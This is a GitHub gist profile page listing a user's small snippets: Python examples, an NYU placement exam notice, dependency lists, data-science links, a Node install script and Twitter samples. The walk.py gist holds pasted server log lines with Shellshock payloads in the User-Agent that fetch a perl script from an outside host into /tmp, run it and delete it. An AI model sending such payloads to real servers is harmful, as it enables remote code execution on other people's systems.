Skip to content

Instantly share code, notes, and snippets.

View mrdrozdov's full-sized avatar

Andrew Drozdov mrdrozdov

View GitHub Profile
@mrdrozdov
mrdrozdov / truthiness.py
Created July 29, 2015 16:45
truthiness in python
class WithTruthiness(object):
"""docstring for WithoutBool"""
def __init__(self, arg):
super(WithTruthiness, self).__init__()
self.arg = arg
def __nonzero__(self):
if self.arg:
return True
else:
@mrdrozdov
mrdrozdov / method_was_called.py
Last active August 29, 2015 14:27
Mock Method Was Called
import itertools
class MethodWasCalled(object):
calls = []
def __init__(self, fn):
self.fn = fn
def __call__(self, *args, **kwargs):
self.calls.append([args, kwargs])
@mrdrozdov
mrdrozdov / walk.py
Created August 22, 2015 16:11
python walk
import os
import argparse
"""
Example Usage:
# Basic
$ python walk.py ~/Downloads
202.152.19.131 - - [18/Aug/2015:23:35:06 +0000] "GET / HTTP/1.1" 200 6 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22wget http://sertech.es
/css/a2.log -O /tmp/a2.log;curl -O /tmp/a2.log http://sertech.es/css/a2.log;perl /tmp/a2.log;rm -rf /tmp/a2.log*\x22);'"
202.152.19.131 - - [18/Aug/2015:23:35:08 +0000] "GET /main.cgi HTTP/1.1" 404 136 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22wget http://
sertech.es/css/a2.log -O /tmp/a2.log;curl -O /tmp/a2.log http://sertech.es/css/a2.log;perl /tmp/a2.log;rm -rf /tmp/a2.log*\x22);'"
202.152.19.131 - - [18/Aug/2015:23:35:09 +0000] "GET /info.cgi HTTP/1.1" 404 136 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22wget http://
sertech.es/css/a2.log -O /tmp/a2.log;curl -O /tmp/a2.log http://sertech.es/css/a2.log;perl /tmp/a2.log;rm -rf /tmp/a2.log*\x22);'"
202.152.19.131 - - [18/Aug
@mrdrozdov
mrdrozdov / placement.md
Last active August 30, 2015 15:43
NYU Placement Exam Syllabus

Depending on your program, CSCI-GA 1170 Fundamental Algorithms, CSCI-GA 2110 Programming Languages and CSCI-GA 2250 Operating Systems might be required courses for your program of study. On rare occasion, an entering student may be granted an exemption from one or more of these courses. Please note that you do not earn any credits by being exempted from a course. It means that instead of taking the required course, you can select an alternate course.

To obtain such an exemption, please e-mail the Director of Graduate Studies for the MS programs (DGS), Professor Ben Goldberg, at [email protected] by Monday, August 24th. The student requesting an exemption must provide clear documentation showing that his or her previous coursework is the equivalent of the corresponding foundational course and, upon approval of the DGS, must pass a placement exam at the start of their first semester. The placement exam will be as challenging as the final exam in the corresponding course. When e-mailing Professor Goldberg, be

@mrdrozdov
mrdrozdov / revsub.txt
Created August 30, 2015 19:47
dependencies for revsub
AddOns-0.7
Babel-0.9.6
Beaker-1.6.3
BytecodeAssembler-0.6
Chameleon-1.3.0-rc1
DecoratorTools-1.8
Extremes-1.1.1
FormEncode-1.2.4
Genshi-0.6
Jinja2-2.6
@mrdrozdov
mrdrozdov / datascience.txt
Created September 3, 2015 20:21
How to get into DataScience
Resources that address some popular topics in Big Data and Data Science.
What is statsd?
https://codeascraft.com/2011/02/15/measure-anything-measure-everything/
In this blog post, Etsy introduces its NodeJS daemon that is used to collect system metrics. It has since become the de facto method of collecting such data in industry.
@mrdrozdov
mrdrozdov / install-node.sh
Created September 13, 2015 20:39
install node
sudo su - root
sudo mkdir /opt/nvm
sudo chmod a+rx /opt/nvm
echo "export NVM_DIR=/opt/nvm" | sudo tee -a /root/.profile
echo "source /opt/nvm-repo/nvm.sh" | sudo tee -a /root/.profile
sudo git clone https://github.com/creationix/nvm.git /opt/nvm-repo
nvm install v0.10
sudo ln -s /opt/nvm/v0.10.40/bin/npm /usr/local/bin/npm
sudo ln -s /opt/nvm/v0.10.40/bin/node /usr/local/bin/node
@mrdrozdov
mrdrozdov / twitter-sample.txt
Created October 15, 2015 19:48
twitter sample
@tore_nd
シェアハピと本能寺の変を合わせてみた結果 ✨ http://t.co/MtvPu9l9s4 #曲名に無職だけどをつけると切ない #曲名の一部をもやしにすると弱い #孤爪研磨生誕祭2015 #vonvon_jp #anime_ybj 田所さん 優ちゃん 奴bot JASRAC離
@S6TLFS
雨デスか(´・ω・`)
@lubov__iosifovn
RT @strannik926: Не бойся, ибо Я с тобою
Исаия 41:10 http://t.co/EoITAyrrGj